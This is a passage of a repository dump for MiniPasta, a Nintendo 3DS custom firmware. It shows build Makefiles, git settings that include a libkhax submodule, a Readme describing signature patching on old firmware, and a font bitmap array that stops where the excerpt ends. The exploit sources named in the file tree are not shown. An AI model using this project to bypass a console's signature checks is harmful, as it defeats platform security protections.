├── .gitattributes ├── .gitignore ├── .gitmodules ├── Makefile ├── Readme.md ├── arm9payload ├── Makefile ├── build.bat ├── clean.bat ├── include │ ├── common.h │ ├── font.h │ └── platform.h ├── source │ ├── delay.s │ ├── main.c │ ├── platform.c │ └── start.s ├── stub.ld └── stub.specs ├── icon.png ├── include ├── brahma.h ├── exploitdata.h └── utils.h └── source ├── arm11.s ├── arm9.s ├── brahma.c ├── main.c └── utils.s /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Project specific files 2 | arm9payload.bin 3 | arm9payload.elf 4 | MiniPasta.3dsx 5 | MiniPasta.smdh 6 | MiniPasta.elf 7 | \arm9payload\build 8 | \build 9 | 10 | 11 | # Windows image file caches 12 | Thumbs.db 13 | ehthumbs.db 14 | 15 | # Folder config file 16 | Desktop.ini 17 | 18 | # Recycle Bin used on file shares 19 | $RECYCLE.BIN/ 20 | 21 | # Windows Installer files 22 | *.cab 23 | *.msi 24 | *.msm 25 | *.msp 26 | 27 | # Windows shortcuts 28 | *.lnk 29 | 30 | # ========================= 31 | # Operating System Files 32 | # ========================= 33 | 34 | # OSX 35 | # ========================= 36 | 37 | .DS_Store 38 | .AppleDouble 39 | .LSOverride 40 | 41 | # Thumbnails 42 | ._* 43 | 44 | # Files that might appear in the root of a volume 45 | .DocumentRevisions-V100 46 | .fseventsd 47 | .Spotlight-V100 48 | .TemporaryItems 49 | .Trashes 50 | .VolumeIcon.icns 51 | 52 | # Directories potentially created on remote AFP share 53 | .AppleDB 54 | .AppleDesktop 55 | Network Trash Folder 56 | Temporary Items 57 | .apdisk 58 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "source/libkhax"] 2 | path = source/libkhax 3 | url = https://github.com/Myriachan/libkhax 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | # 19 | # NO_SMDH: if set to anything, no SMDH file is generated. 20 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 21 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 22 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 23 | # ICON is the filename of the icon (.png), relative to the project folder. 24 | # If not set, it attempts to use one of the following (in this order): 25 | # - .png 26 | # - icon.png 27 | # - /default_icon.png 28 | #--------------------------------------------------------------------------------- 29 | TARGET := $(notdir $(CURDIR)) 30 | BUILD := build 31 | SOURCES := source source/libkhax 32 | DATA := data 33 | PAYLOAD := arm9payload 34 | INCLUDES := include 35 | APP_TITLE := miniPasta 36 | APP_DESCRIPTION := Simple, safe, no-firmlaunch Pasta 37 | APP_AUTHOR := Team Pasta 38 | 39 | #--------------------------------------------------------------------------------- 40 | # options for code generation 41 | #--------------------------------------------------------------------------------- 42 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard 43 | 44 | CFLAGS := -g -Wall -O3 -mword-relocations \ 45 | -fomit-frame-pointer -ffast-math \ 46 | $(ARCH) 47 | 48 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w 49 | 50 | CXXFLAGS := $(CFLAGS) -s -O3 -fno-rtti -fno-exceptions -std=gnu++11 -w 51 | 52 | ASFLAGS := -g $(ARCH) 53 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 54 | 55 | LIBS := -lctru 56 | 57 | #--------------------------------------------------------------------------------- 58 | # list of directories containing libraries, this must be the top level containing 59 | # include and lib 60 | #--------------------------------------------------------------------------------- 61 | LIBDIRS := $(CTRULIB) 62 | 63 | 64 | #--------------------------------------------------------------------------------- 65 | # no real need to edit anything past this point unless you need to add additional 66 | # rules for different file extensions 67 | #--------------------------------------------------------------------------------- 68 | ifneq ($(BUILD),$(notdir $(CURDIR))) 69 | #--------------------------------------------------------------------------------- 70 | 71 | export OUTPUT := $(CURDIR)/$(TARGET) 72 | export TOPDIR := $(CURDIR) 73 | 74 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 75 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 76 | 77 | export DEPSDIR := $(CURDIR)/$(BUILD) 78 | 79 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 80 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 81 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 82 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) $(PAYLOAD).bin 83 | 84 | #--------------------------------------------------------------------------------- 85 | # use CXX for linking C++ projects, CC for standard C 86 | #--------------------------------------------------------------------------------- 87 | ifeq ($(strip $(CPPFILES)),) 88 | #--------------------------------------------------------------------------------- 89 | export LD := $(CC) 90 | #--------------------------------------------------------------------------------- 91 | else 92 | #--------------------------------------------------------------------------------- 93 | export LD := $(CXX) 94 | #--------------------------------------------------------------------------------- 95 | endif 96 | #--------------------------------------------------------------------------------- 97 | 98 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 99 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 100 | 101 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 102 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 103 | -I$(CURDIR)/$(BUILD) 104 | 105 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 106 | 107 | ifeq ($(strip $(ICON)),) 108 | icons := $(wildcard *.png) 109 | ifneq (,$(findstring $(TARGET).png,$(icons))) 110 | export APP_ICON := $(TOPDIR)/$(TARGET).png 111 | else 112 | ifneq (,$(findstring icon.png,$(icons))) 113 | export APP_ICON := $(TOPDIR)/icon.png 114 | endif 115 | endif 116 | else 117 | export APP_ICON := $(TOPDIR)/$(ICON) 118 | endif 119 | 120 | .PHONY: $(PAYLOAD) $(BUILD) clean all 121 | 122 | #--------------------------------------------------------------------------------- 123 | all: $(PAYLOAD).bin $(BUILD) 124 | 125 | $(PAYLOAD).bin: 126 | @make --no-print-directory -C $(PAYLOAD) -f $(CURDIR)/$(PAYLOAD)/Makefile 127 | @[ -d $(DATA) ] || mkdir -p $(DATA) 128 | @cp $(PAYLOAD)/$(PAYLOAD).bin $(DATA) 129 | 130 | $(BUILD): 131 | @echo $(SFILES) 132 | @[ -d $@ ] || mkdir -p $@ 133 | @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 134 | 135 | #--------------------------------------------------------------------------------- 136 | clean: 137 | @echo clean ... 138 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf 139 | @rm -fr $(DATA) 140 | @$(MAKE) --no-print-directory -C $(PAYLOAD) clean 141 | 142 | 143 | #--------------------------------------------------------------------------------- 144 | else 145 | 146 | DEPENDS := $(OFILES:.o=.d) 147 | 148 | #--------------------------------------------------------------------------------- 149 | # main targets 150 | #--------------------------------------------------------------------------------- 151 | ifeq ($(strip $(NO_SMDH)),) 152 | .PHONY: all 153 | all : $(OUTPUT).3dsx $(OUTPUT).smdh 154 | endif 155 | cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label 156 | $(OUTPUT).3dsx : $(OUTPUT).elf 157 | $(OUTPUT).elf : $(OFILES) 158 | 159 | #--------------------------------------------------------------------------------- 160 | # you need a rule like this for each extension you use as binary data 161 | #--------------------------------------------------------------------------------- 162 | %.bin.o : %.bin 163 | #--------------------------------------------------------------------------------- 164 | @echo $(notdir $<) 165 | @$(bin2o) 166 | 167 | # WARNING: This is not the right way to do this! TODO: Do it right! 168 | #--------------------------------------------------------------------------------- 169 | %.vsh.o : %.vsh 170 | #--------------------------------------------------------------------------------- 171 | @echo $(notdir $<) 172 | @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin 173 | @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ 174 | @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h 175 | @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h 176 | @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h 177 | @rm ../$(notdir $<).shbin 178 | 179 | -include $(DEPENDS) 180 | 181 | #--------------------------------------------------------------------------------------- 182 | endif 183 | #--------------------------------------------------------------------------------------- 184 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # MiniPasta CFW by Team Pasta 2 | 3 | ### Disclaimer 4 | This is completely Team Pastas work without any of my involvement. I only started this Github repo so that we have an easy place to collaborate and download. Also, see this thread GBAtemp.net: https://gbatemp.net/threads/need-hax-2-x-pasta-loader.400752/ 5 | 6 | ### What is this good for? 7 | This is a minimalic CFW for the Nintendo 3DS console. It works only via Homebrew Launcher on Firmware versions <= 9.2. It has no EmuNAND, no unneccesary patches, no nothing except signature patching. This is not meant for daily use, but rather for some specific operations. 8 | -------------------------------------------------------------------------------- /arm9payload/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | include $(DEVKITARM)/3ds_rules 10 | 11 | #--------------------------------------------------------------------------------- 12 | # TARGET is the name of the output 13 | # BUILD is the directory where object files & intermediate files will be placed 14 | # SOURCES is a list of directories containing source code 15 | # DATA is a list of directories containing data files 16 | # INCLUDES is a list of directories containing header files 17 | # SPECS is the directory containing the important build and link files 18 | #--------------------------------------------------------------------------------- 19 | export TARGET := $(shell basename $(CURDIR)) 20 | BUILD := build 21 | SOURCES := source 22 | DATA := data 23 | INCLUDES := include source 24 | 25 | #--------------------------------------------------------------------------------- 26 | # Setup some defines 27 | #--------------------------------------------------------------------------------- 28 | 29 | #--------------------------------------------------------------------------------- 30 | # options for code generation 31 | #--------------------------------------------------------------------------------- 32 | ARCH := -mthumb -mthumb-interwork 33 | 34 | CFLAGS := -g -Wall -O2\ 35 | -march=armv5te -mtune=arm946e-s -fomit-frame-pointer\ 36 | -ffast-math -std=c99\ 37 | $(ARCH) 38 | 39 | CFLAGS += $(INCLUDE) -DARM9 40 | 41 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions 42 | 43 | ASFLAGS := -g $(ARCH) 44 | LDFLAGS = -nostartfiles -g --specs=../stub.specs $(ARCH) -Wl,-Map,$(TARGET).map 45 | 46 | LIBS := 47 | 48 | #--------------------------------------------------------------------------------- 49 | # list of directories containing libraries, this must be the top level containing 50 | # include and lib 51 | #--------------------------------------------------------------------------------- 52 | LIBDIRS := 53 | 54 | #--------------------------------------------------------------------------------- 55 | # no real need to edit anything past this point unless you need to add additional 56 | # rules for different file extensions 57 | #--------------------------------------------------------------------------------- 58 | ifneq ($(BUILD),$(notdir $(CURDIR))) 59 | #--------------------------------------------------------------------------------- 60 | 61 | export OUTPUT := $(CURDIR)/$(TARGET) 62 | 63 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 64 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 65 | 66 | export DEPSDIR := $(CURDIR)/$(BUILD) 67 | 68 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 69 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 70 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 71 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 72 | 73 | #--------------------------------------------------------------------------------- 74 | # use CXX for linking C++ projects, CC for standard C 75 | #--------------------------------------------------------------------------------- 76 | ifeq ($(strip $(CPPFILES)),) 77 | #--------------------------------------------------------------------------------- 78 | export LD := $(CC) 79 | #--------------------------------------------------------------------------------- 80 | else 81 | #--------------------------------------------------------------------------------- 82 | export LD := $(CXX) 83 | #--------------------------------------------------------------------------------- 84 | endif 85 | #--------------------------------------------------------------------------------- 86 | 87 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 88 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 89 | 90 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 91 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 92 | -I$(CURDIR)/$(BUILD) 93 | 94 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 95 | 96 | .PHONY: $(BUILD) clean all 97 | 98 | #--------------------------------------------------------------------------------- 99 | all: $(BUILD) 100 | 101 | $(BUILD): 102 | @[ -d $@ ] || mkdir -p $@ 103 | @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 104 | #cp $(OUTPUT).bin arm9payload.bin 105 | 106 | #--------------------------------------------------------------------------------- 107 | clean: 108 | @echo clean ... 109 | @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin 110 | 111 | 112 | #--------------------------------------------------------------------------------- 113 | else 114 | 115 | DEPENDS := $(OFILES:.o=.d) 116 | 117 | #--------------------------------------------------------------------------------- 118 | # main targets 119 | #--------------------------------------------------------------------------------- 120 | $(OUTPUT).bin : $(OUTPUT).elf 121 | $(OUTPUT).elf : $(OFILES) 122 | 123 | 124 | #--------------------------------------------------------------------------------- 125 | %.bin: %.elf 126 | @$(OBJCOPY) -O binary $< $@ 127 | @echo built ... $(notdir $@) 128 | 129 | 130 | -include $(DEPENDS) 131 | 132 | 133 | #--------------------------------------------------------------------------------------- 134 | endif 135 | #--------------------------------------------------------------------------------------- 136 | -------------------------------------------------------------------------------- /arm9payload/build.bat: -------------------------------------------------------------------------------- 1 | make 2 | pause -------------------------------------------------------------------------------- /arm9payload/clean.bat: -------------------------------------------------------------------------------- 1 | make clean 2 | pause -------------------------------------------------------------------------------- /arm9payload/include/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define u8 uint8_t 11 | #define u16 uint16_t 12 | #define u32 uint32_t 13 | #define u64 uint64_t 14 | 15 | #define vu8 volatile u8 16 | #define vu16 volatile u16 17 | #define vu32 volatile u32 18 | #define vu64 volatile u64 19 | 20 | inline int maxi(int a, int b) { 21 | return a > b ? a : b; 22 | } 23 | inline int mini(int a, int b) { 24 | return a < b ? a : b; 25 | } 26 | 27 | inline char* strupper(const char* str) { 28 | char* buffer = (char*)malloc(strlen(str) + 1); 29 | for (int i = 0; i < strlen(str); ++i) 30 | buffer[i] = toupper((unsigned)str[i]); 31 | return buffer; 32 | } 33 | 34 | inline char* strlower(const char* str) { 35 | char* buffer = (char*)malloc(strlen(str) + 1); 36 | for (int i = 0; i < strlen(str); ++i) 37 | buffer[i] = tolower((unsigned)str[i]); 38 | return buffer; 39 | } 40 | -------------------------------------------------------------------------------- /arm9payload/include/font.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file was autogenerated by raw2c. 3 | Visit http://www.devkitpro.org 4 | */ 5 | 6 | //--------------------------------------------------------------------------------- 7 | #ifndef _font_h_ 8 | #define _font_h_ 9 | //--------------------------------------------------------------------------------- 10 | static const unsigned char font[] = { 11 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x81, 0xa5, 0x81, 0xbd, 0x99, 0x81, 0x7e, 12 | 0x7e, 0xff, 0xdb, 0xff, 0xc3, 0xe7, 0xff, 0x7e, 0x6c, 0xfe, 0xfe, 0xfe, 0x7c, 0x38, 0x10, 0x00, 13 | 0x10, 0x38, 0x7c, 0xfe, 0x7c, 0x38, 0x10, 0x00, 0x3c, 0x3c, 0x18, 0xff, 0xe7, 0x18, 0x3c, 0x00, 14 | 0x10, 0x38, 0x7c, 0xfe, 0xee, 0x10, 0x38, 0x00, 0x00, 0x00, 0x18, 0x3c, 0x3c, 0x18, 0x00, 0x00, 15 | 0xff, 0xff, 0xe7, 0xc3, 0xc3, 0xe7, 0xff, 0xff, 0x00, 0x3c, 0x66, 0x42, 0x42, 0x66, 0x3c, 0x00, 16 | 0xff, 0xc3, 0x99, 0xbd, 0xbd, 0x99, 0xc3, 0xff, 0x0f, 0x07, 0x0f, 0x7d, 0xcc, 0xcc, 0xcc, 0x78, 17 | 0x3c, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x7e, 0x18, 0x08, 0x0c, 0x0a, 0x0a, 0x08, 0x78, 0xf0, 0x00, 18 | 0x18, 0x14, 0x1a, 0x16, 0x72, 0xe2, 0x0e, 0x1c, 0x10, 0x54, 0x38, 0xee, 0x38, 0x54, 0x10, 0x00, 19 | 0x80, 0xe0, 0xf8, 0xfe, 0xf8, 0xe0, 0x80, 0x00, 0x02, 0x0e, 0x3e, 0xfe, 0x3e, 0x0e, 0x02, 0x00, 20 | 0x18, 0x3c, 0x5a, 0x18, 0x5a, 0x3c, 0x18, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x00, 0x66, 0x00, 21 | 0x7f, 0xdb, 0xdb, 0xdb, 0x7b, 0x1b, 0x1b, 0x00, 0x1c, 0x22, 0x38, 0x44, 0x44, 0x38, 0x88, 0x70, 22 | 0x00, 0x00, 0x00, 0x00, 0x7e, 0x7e, 0x7e, 0x00, 0x18, 0x3c, 0x5a, 0x18, 0x5a, 0x3c, 0x18, 0x7e, 23 | 0x18, 0x3c, 0x5a, 0x18, 0x18, 0x18, 0x18, 0x00, 0x18, 0x18, 0x18, 0x18, 0x5a, 0x3c, 0x18, 0x00, 24 | 0x00, 0x18, 0x0c, 0xfe, 0x0c, 0x18, 0x00, 0x00, 0x00, 0x30, 0x60, 0xfe, 0x60, 0x30, 0x00, 0x00, 25 | 0x00, 0x00, 0xc0, 0xc0, 0xc0, 0xfe, 0x00, 0x00, 0x00, 0x24, 0x42, 0xff, 0x42, 0x24, 0x00, 0x00, 26 | 0x00, 0x10, 0x38, 0x7c, 0xfe, 0xfe, 0x00, 0x00, 0x00, 0xfe, 0xfe, 0x7c, 0x38, 0x10, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x3c, 0x3c, 0x18, 0x18, 0x00, 0x18, 0x00, 28 | 0x6c, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x6c, 0xfe, 0x6c, 0xfe, 0x6c, 0x6c, 0x00, 29 | 0x10, 0x7c, 0xd0, 0x7c, 0x16, 0xfc, 0x10, 0x00, 0x00, 0x66, 0xac, 0xd8, 0x36, 0x6a, 0xcc, 0x00, 30 | 0x38, 0x4c, 0x38, 0x78, 0xce, 0xcc, 0x7a, 0x00, 0x30, 0x10, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x18, 0x30, 0x60, 0x60, 0x60, 0x30, 0x18, 0x00, 0x60, 0x30, 0x18, 0x18, 0x18, 0x30, 0x60, 0x00, 32 | 0x00, 0x66, 0x3c, 0xff, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x30, 0x30, 0xfc, 0x30, 0x30, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x10, 0x20, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 34 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x02, 0x06, 0x0c, 0x18, 0x30, 0x60, 0xc0, 0x00, 35 | 0x7c, 0xce, 0xde, 0xf6, 0xe6, 0xe6, 0x7c, 0x00, 0x18, 0x38, 0x78, 0x18, 0x18, 0x18, 0x7e, 0x00, 36 | 0x7c, 0xc6, 0x06, 0x1c, 0x70, 0xc6, 0xfe, 0x00, 0x7c, 0xc6, 0x06, 0x3c, 0x06, 0xc6, 0x7c, 0x00, 37 | 0x1c, 0x3c, 0x6c, 0xcc, 0xfe, 0x0c, 0x1e, 0x00, 0xfe, 0xc0, 0xfc, 0x06, 0x06, 0xc6, 0x7c, 0x00, 38 | 0x7c, 0xc6, 0xc0, 0xfc, 0xc6, 0xc6, 0x7c, 0x00, 0xfe, 0xc6, 0x0c, 0x18, 0x30, 0x30, 0x30, 0x00, 39 | 0x7c, 0xc6, 0xc6, 0x7c, 0xc6, 0xc6, 0x7c, 0x00, 0x7c, 0xc6, 0xc6, 0x7e, 0x06, 0xc6, 0x7c, 0x00, 40 | 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x10, 0x20, 41 | 0x0c, 0x18, 0x30, 0x60, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x7e, 0x00, 0x00, 42 | 0x60, 0x30, 0x18, 0x0c, 0x18, 0x30, 0x60, 0x00, 0x78, 0xcc, 0x0c, 0x18, 0x30, 0x00, 0x30, 0x00, 43 | 0x7c, 0x82, 0x9e, 0xa6, 0x9e, 0x80, 0x7c, 0x00, 0x7c, 0xc6, 0xc6, 0xfe, 0xc6, 0xc6, 0xc6, 0x00, 44 | 0xfc, 0x66, 0x66, 0x7c, 0x66, 0x66, 0xfc, 0x00, 0x7c, 0xc6, 0xc0, 0xc0, 0xc0, 0xc6, 0x7c, 0x00, 45 | 0xfc, 0x66, 0x66, 0x66, 0x66, 0x66, 0xfc, 0x00, 0xfe, 0x62, 0x68, 0x78, 0x68, 0x62, 0xfe, 0x00, 46 | 0xfe, 0x62, 0x68, 0x78, 0x68, 0x60, 0xf0, 0x00, 0x7c, 0xc6, 0xc6, 0xc0, 0xce, 0xc6, 0x7e, 0x00, 47 | 0xc6, 0xc6, 0xc6, 0xfe, 0xc6, 0xc6, 0xc6, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 48 | 0x1e, 0x0c, 0x0c, 0x0c, 0xcc, 0xcc, 0x78, 0x00, 0xe6, 0x66, 0x6c, 0x78, 0x6c, 0x66, 0xe6, 0x00, 49 | 0xf0, 0x60, 0x60, 0x60, 0x62, 0x66, 0xfe, 0x00, 0x82, 0xc6, 0xee, 0xfe, 0xd6, 0xc6, 0xc6, 0x00, 50 | 0xc6, 0xe6, 0xf6, 0xde, 0xce, 0xc6, 0xc6, 0x00, 0x7c, 0xc6, 0xc6, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 51 | 0xfc, 0x66, 0x66, 0x7c, 0x60, 0x60, 0xf0, 0x00, 0x7c, 0xc6, 0xc6, 0xc6, 0xd6, 0xde, 0x7c, 0x06, 52 | 0xfc, 0x66, 0x66, 0x7c, 0x66, 0x66, 0xe6, 0x00, 0x7c, 0xc6, 0xc0, 0x7c, 0x06, 0xc6, 0x7c, 0x00, 53 | 0x7e, 0x5a, 0x5a, 0x18, 0x18, 0x18, 0x3c, 0x00, 0xc6, 0xc6, 0xc6, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 54 | 0xc6, 0xc6, 0xc6, 0xc6, 0x6c, 0x38, 0x10, 0x00, 0xc6, 0xc6, 0xd6, 0xfe, 0xee, 0xc6, 0x82, 0x00, 55 | 0xc6, 0x6c, 0x38, 0x38, 0x38, 0x6c, 0xc6, 0x00, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x18, 0x3c, 0x00, 56 | 0xfe, 0xc6, 0x8c, 0x18, 0x32, 0x66, 0xfe, 0x00, 0x78, 0x60, 0x60, 0x60, 0x60, 0x60, 0x78, 0x00, 57 | 0xc0, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x02, 0x00, 0x78, 0x18, 0x18, 0x18, 0x18, 0x18, 0x78, 0x00, 58 | 0x10, 0x38, 0x6c, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 59 | 0x30, 0x20, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 60 | 0xe0, 0x60, 0x60, 0x7c, 0x66, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x7c, 0xc6, 0xc0, 0xc6, 0x7c, 0x00, 61 | 0x1c, 0x0c, 0x0c, 0x7c, 0xcc, 0xcc, 0x76, 0x00, 0x00, 0x00, 0x7c, 0xc6, 0xfe, 0xc0, 0x7c, 0x00, 62 | 0x1c, 0x36, 0x30, 0x78, 0x30, 0x30, 0x78, 0x00, 0x00, 0x00, 0x76, 0xcc, 0xcc, 0x7c, 0x0c, 0x78, 63 | 0xe0, 0x60, 0x6c, 0x76, 0x66, 0x66, 0xe6, 0x00, 0x18, 0x00, 0x38, 0x18, 0x18, 0x18, 0x3c, 0x00, 64 | 0x00, 0x0c, 0x00, 0x1c, 0x0c, 0x0c, 0xcc, 0x78, 0xe0, 0x60, 0x66, 0x6c, 0x78, 0x6c, 0xe6, 0x00, 65 | 0x38, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0xcc, 0xfe, 0xd6, 0xd6, 0xd6, 0x00, 66 | 0x00, 0x00, 0xdc, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x7c, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 67 | 0x00, 0x00, 0xdc, 0x66, 0x66, 0x7c, 0x60, 0xf0, 0x00, 0x00, 0x7c, 0xcc, 0xcc, 0x7c, 0x0c, 0x1e, 68 | 0x00, 0x00, 0xde, 0x76, 0x60, 0x60, 0xf0, 0x00, 0x00, 0x00, 0x7c, 0xc0, 0x7c, 0x06, 0x7c, 0x00, 69 | 0x10, 0x30, 0xfc, 0x30, 0x30, 0x34, 0x18, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x76, 0x00, 70 | 0x00, 0x00, 0xc6, 0xc6, 0x6c, 0x38, 0x10, 0x00, 0x00, 0x00, 0xc6, 0xd6, 0xd6, 0xfe, 0x6c, 0x00, 71 | 0x00, 0x00, 0xc6, 0x6c, 0x38, 0x6c, 0xc6, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x7c, 0x0c, 0xf8, 72 | 0x00, 0x00, 0xfc, 0x98, 0x30, 0x64, 0xfc, 0x00, 0x0e, 0x18, 0x18, 0x30, 0x18, 0x18, 0x0e, 0x00, 73 | 0x18, 0x18, 0x18, 0x00, 0x18, 0x18, 0x18, 0x00, 0xe0, 0x30, 0x30, 0x18, 0x30, 0x30, 0xe0, 0x00, 74 | 0x76, 0xdc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x38, 0x6c, 0xc6, 0xc6, 0xfe, 0x00, 75 | 0x7c, 0xc6, 0xc0, 0xc0, 0xc6, 0x7c, 0x18, 0x70, 0xcc, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x76, 0x00, 76 | 0x0e, 0x10, 0x7c, 0xc6, 0xfe, 0xc0, 0x7c, 0x00, 0x7c, 0x82, 0x38, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 77 | 0xcc, 0x00, 0x78, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 0xe0, 0x10, 0x78, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 78 | 0x30, 0x30, 0x78, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 0x00, 0x00, 0x7c, 0xc0, 0xc0, 0x7c, 0x18, 0x70, 79 | 0x7c, 0x82, 0x7c, 0xc6, 0xfe, 0xc0, 0x7c, 0x00, 0xc6, 0x00, 0x7c, 0xc6, 0xfe, 0xc0, 0x7c, 0x00, 80 | 0xe0, 0x10, 0x7c, 0xc6, 0xfe, 0xc0, 0x7c, 0x00, 0x66, 0x00, 0x38, 0x18, 0x18, 0x18, 0x3c, 0x00, 81 | 0x7c, 0x82, 0x38, 0x18, 0x18, 0x18, 0x3c, 0x00, 0xe0, 0x10, 0x38, 0x18, 0x18, 0x18, 0x3c, 0x00, 82 | 0xc6, 0x00, 0x7c, 0xc6, 0xfe, 0xc6, 0xc6, 0x00, 0x38, 0x38, 0x7c, 0xc6, 0xfe, 0xc6, 0xc6, 0x00, 83 | 